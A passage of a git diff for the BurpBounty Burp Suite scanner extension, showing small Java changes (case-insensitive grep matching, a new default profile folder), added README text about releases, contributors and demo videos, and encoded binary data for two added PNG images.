(headers.get(x).match.isEmpty()) { tempRequest = tempRequest.replaceAll("\\r\\n\\r\\n", "\r\n" + replace + "\r\n\r\n"); } else { diff --git a/src/GrepMatch.java b/src/GrepMatch.java index c166494..facaf98 100644 --- a/src/GrepMatch.java +++ b/src/GrepMatch.java @@ -78,13 +78,13 @@ public IScanIssue getResponseMatches(IHttpRequestResponse requestResponse, Strin try { if (excludeHTTP && !onlyHTTP) { beginAt = responseInfo.getBodyOffset(); - p = Pattern.compile(grep); + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); m = p.matcher(responseString); } else if (!excludeHTTP && onlyHTTP) { - p = Pattern.compile(grep); + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); m = p.matcher(headers); } else { - p = Pattern.compile(grep); + p = Pattern.compile(grep, Pattern.CASE_INSENSITIVE); m = p.matcher(responseString); } } catch (PatternSyntaxException pse) { @@ -220,7 +220,7 @@ public Object[] getRequestMatches(IHttpRequestResponse requestResponse, List + +Download releases: + +* https://github.com/wagiro/BurpBounty/releases/ + + + +
If you need more power, I invite you to try the new Burp Bounty Pro, which gives you more power and automation during your manual pentests. + +
More information at: [https://burpbounty.net](https://burpbounty.net) and [Burp Bounty Pro vs Free](https://burpbounty.net/burp-bounty-pro-vs-free/). + + +## Usage + +* Go to [Usage](https://github.com/wagiro/BurpBounty/wiki/usage) section or the slides of [Ekoparty Security Conference](https://burpbounty.net/burp-bounty-ekoparty-2020/). + +## Profiles + +* Thanks to [Six2dez1](https://twitter.com/Six2dez1) for collect all of the Burp Bounty profiles and also share their own. You can find the collection [HERE](https://github.com/wagiro/BurpBounty/tree/master/profiles/) + +* Also thanks to: + + - [Gocha](https://twitter.com/GochaOqradze) + - [Sy3Omda](https://twitter.com/Sy3Omda) + - [Syed](https://twitter.com/syed__umar) + - [n00py1](https://twitter.com/n00py1) + - [legik](https://github.com/legik) + +All of them have contributed by sharing their Burp Bounty profiles + + +### For example videos please visit our youtube channel: + +* [YouTube](https://www.youtube.com/channel/UCSq4R2o9_nGIMHWZ4H98GkQ/videos) + + +
+ +**Blind RCE with BurpBounty using Burp Collaborator
** + +[![Blind RCE with BurpBounty using Burp Collaborator](https://img.youtube.com/vi/kcyUueb56aM/0.jpg)](https://www.youtube.com/watch?v=kcyUueb56aM) + + +
diff --git a/src/RequestProfile.java b/src/RequestProfile.java index 532cd17..0fc6768 100644 --- a/src/RequestProfile.java +++ b/src/RequestProfile.java @@ -119,7 +119,7 @@ public boolean isCellEditable(int row, int column) { if (callbacks.loadExtensionSetting("filename") != null) { filename = callbacks.loadExtensionSetting("filename")+ File.separator;; } else { - filename = System.getProperty("user.dir")+ File.separator;; + filename = System.getProperty("user.home")+ File.separator;; } showTags(); showGrepsTable(); diff --git a/src/ResponseProfile.form b/src/ResponseProfile.form index 61ec631..6c8a05f 100644 --- a/src/ResponseProfile.form +++ b/src/ResponseProfile.form @@ -186,7 +186,7 @@ - + diff --git a/src/ResponseProfile.java b/src/ResponseProfile.java index 3565f1b..b16fe39 100644 --- a/src/ResponseProfile.java +++ b/src/ResponseProfile.java @@ -35,11 +35,7 @@ import java.util.ArrayList; import java.util.Arrays; import java.util.List; -import java.util.logging.Level; -import java.util.logging.Logger; -import javax.swing.DefaultCellEditor; import javax.swing.DefaultListModel; -import javax.swing.JComboBox; import javax.swing.JDialog; import javax.swing.JFileChooser; import javax.swing.JFrame; @@ -123,7 +119,7 @@ public boolean isCellEditable(int row, int column) { if (callbacks.loadExtensionSetting("filename") != null) { filename = callbacks.loadExtensionSetting("filename")+ File.separator;; } else { - filename = System.getProperty("user.dir")+ File.separator;; + filename = System.getProperty("user.home")+ File.separator;; } showTags(); showGrepsTable(); diff --git a/src/images/1.png b/src/images/1.png new file mode 100755 index 0000000000000000000000000000000000000000..4c011fb69ff74ba0b368110843e5cf7ff544e1e3 GIT binary patch literal 6386 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 literal 0 HcmV?d00001 diff --git a/src/images/10.png b/src/images/10.png new file mode 100755 index 0000000000000000000000000000000000000000..51a28052f6716b7ea756d56c5e3dbb698734e268 GIT binary patch literal 16518 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 